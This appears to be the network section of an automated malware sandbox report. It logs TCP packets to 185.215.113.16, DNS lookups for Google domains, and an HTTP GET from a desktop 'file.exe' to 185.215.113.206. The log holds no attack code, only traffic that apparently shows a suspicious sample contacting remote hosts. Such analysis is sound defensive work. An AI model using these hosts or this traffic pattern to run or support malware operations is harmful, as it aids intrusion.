Dec 7, 2024 15:08:12.447616100 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.447683096 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.447730064 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.448577881 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.448668957 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.448683023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.448792934 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.449574947 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.449628115 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.449748039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.449790955 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.450576067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.450663090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.450731039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.451545000 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.451591969 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.451637983 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.451706886 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.452507973 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.452558041 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.452600956 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.452676058 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.453505993 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.453550100 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.453624010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.453661919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.454526901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.454564095 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.454641104 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.454720020 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.455487013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.455601931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.455674887 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.456478119 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.456537008 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.456582069 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.456712961 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.457648039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.457669973 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.457711935 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.457732916 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.458436012 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.458620071 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.458676100 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.459445953 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.459491968 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.459572077 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.459638119 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.460652113 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.460696936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.460701942 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.460741043 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.461405039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.461474895 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.461505890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.461553097 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.462405920 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.462471008 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.462512016 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.462563992 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.463390112 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.463448048 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.463529110 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.463668108 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.464441061 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.464536905 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.464601994 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.464906931 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.465446949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.465492010 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.465641022 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.465698957 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.466346979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.466475010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.466521025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.467411995 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.467457056 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.467518091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.468374968 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.468483925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.468533993 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.469384909 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.469433069 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.469527960 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.469568014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.470393896 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.470448971 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.470475912 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.470504999 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.471415997 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.471472979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.471477985 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.471774101 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.472826958 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.472913980 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.472966909 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.474556923 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.474611044 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.474697113 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.475392103 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.475414038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.475431919 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.475449085 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.475476027 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.476095915 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.476149082 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.476231098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.476274014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.477175951 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.477257967 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.477320910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.478334904 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.478387117 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.478456020 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.478609085 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.479386091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.479464054 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.479497910 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.479510069 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.480192900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.480396032 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.480462074 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.481071949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.481122017 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.481138945 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.481184959 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.481733084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.481789112 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.481801987 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.482335091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.482386112 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.482419968 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.483170033 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.483231068 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.483242035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.483294964 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.484142065 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.484205961 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.484302998 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.484359026 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.485096931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.485161066 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.485184908 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.485232115 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.496088028 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.496171951 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.496232033 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.496351957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.496391058 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.496408939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.497186899 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.497210026 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.497251034 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.497298956 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.497347116 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.498245955 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.498292923 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.498307943 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.498428106 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.630096912 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.630192041 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.630201101 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.630317926 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.630337000 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.630394936 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.630501032 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.631304979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.631356955 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.631407976 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.631581068 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.632359982 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.632436991 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.632483959 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.633229971 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.633281946 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.633361101 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.633459091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.634285927 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.634330988 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.634413958 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.634505987 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.635209084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.635262012 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.635338068 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.635479927 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.636220932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.636265039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.636326075 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.637479067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.637485027 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.637516975 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.637535095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.637577057 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.638158083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.638221979 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.638546944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.638598919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.639142990 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.639193058 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.639262915 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.639431953 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.640151978 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.640268087 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.640347004 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.641144037 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.641232967 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.641268969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.641364098 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.642168999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.642234087 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.642246962 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.642343998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.643209934 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.643265963 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.643516064 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.643568039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.644500017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.644557953 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.644646883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.644646883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.645083904 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.645128012 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.645207882 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.645328999 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.646111012 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.646173000 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.646198034 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.646399975 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.647059917 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.647121906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.647175074 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.647675991 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.648169994 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.648221970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.648385048 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.648483992 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.649090052 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.649159908 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.649230003 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.650072098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.650156021 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.650201082 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.651196003 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.651252031 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.651976109 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.652074099 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.652232885 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.652292967 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.653168917 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.653234005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.653276920 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.654468060 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.654568911 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.655231953 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.655291080 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.655303001 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.655724049 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.656164885 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.656238079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.656939983 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.657001972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.657140970 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.658166885 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.658210039 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.658288956 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.658288956 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.677764893 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.677876949 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:12.677897930 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:12.677982092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:13.232656956 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:13.232738018 CET	49746	80	192.168.2.8	185.215.113.16
Dec 7, 2024 15:08:14.036637068 CET	80	49746	185.215.113.16	192.168.2.8
Dec 7, 2024 15:08:14.036686897 CET	49746	80	192.168.2.8	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 7, 2024 15:06:19.946460962 CET	53175	53	192.168.2.8	1.1.1.1
Dec 7, 2024 15:06:19.946834087 CET	64044	53	192.168.2.8	1.1.1.1
Dec 7, 2024 15:06:20.062566042 CET	53	57485	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:20.089358091 CET	53	60540	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:20.091411114 CET	53	53175	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:20.091455936 CET	53	64044	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:22.813674927 CET	53	53387	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:23.580569983 CET	53	51041	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:26.722997904 CET	65032	53	192.168.2.8	1.1.1.1
Dec 7, 2024 15:06:26.723155022 CET	60139	53	192.168.2.8	1.1.1.1
Dec 7, 2024 15:06:26.771291018 CET	51501	53	192.168.2.8	1.1.1.1
Dec 7, 2024 15:06:26.771583080 CET	53544	53	192.168.2.8	1.1.1.1
Dec 7, 2024 15:06:26.867141962 CET	53	65032	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:26.868201017 CET	53	60139	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:26.868755102 CET	53	64212	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:26.912532091 CET	53	51501	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:26.913482904 CET	53	53544	1.1.1.1	192.168.2.8
Dec 7, 2024 15:06:53.739892960 CET	138	138	192.168.2.8	192.168.2.255

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 7, 2024 15:06:19.946460962 CET	192.168.2.8	1.1.1.1	0x4fb9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 15:06:19.946834087 CET	192.168.2.8	1.1.1.1	0x9281	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 7, 2024 15:06:26.722997904 CET	192.168.2.8	1.1.1.1	0xae2d	Standard query (0)	ogs.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 15:06:26.723155022 CET	192.168.2.8	1.1.1.1	0xbc2a	Standard query (0)	ogs.google.com	65	IN (0x0001)	false
Dec 7, 2024 15:06:26.771291018 CET	192.168.2.8	1.1.1.1	0x3d98	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Dec 7, 2024 15:06:26.771583080 CET	192.168.2.8	1.1.1.1	0xd32d	Standard query (0)	apis.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 7, 2024 15:06:20.091411114 CET	1.1.1.1	192.168.2.8	0x4fb9	No error (0)	www.google.com		216.58.208.228	A (IP address)	IN (0x0001)	false
Dec 7, 2024 15:06:20.091455936 CET	1.1.1.1	192.168.2.8	0x9281	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 7, 2024 15:06:26.867141962 CET	1.1.1.1	192.168.2.8	0xae2d	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 15:06:26.867141962 CET	1.1.1.1	192.168.2.8	0xae2d	No error (0)	www3.l.google.com		172.217.19.206	A (IP address)	IN (0x0001)	false
Dec 7, 2024 15:06:26.868201017 CET	1.1.1.1	192.168.2.8	0xbc2a	No error (0)	ogs.google.com	www3.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 15:06:26.912532091 CET	1.1.1.1	192.168.2.8	0x3d98	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 7, 2024 15:06:26.912532091 CET	1.1.1.1	192.168.2.8	0x3d98	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Dec 7, 2024 15:06:26.913482904 CET	1.1.1.1	192.168.2.8	0xd32d	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

www.google.com

slscr.update.microsoft.com

fs.microsoft.com

185.215.113.206

185.215.113.16

185.215.113.43

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49706	185.215.113.206	80	7560	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 15:06:10.886207104 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 15:06:12.226851940 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 14:06:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
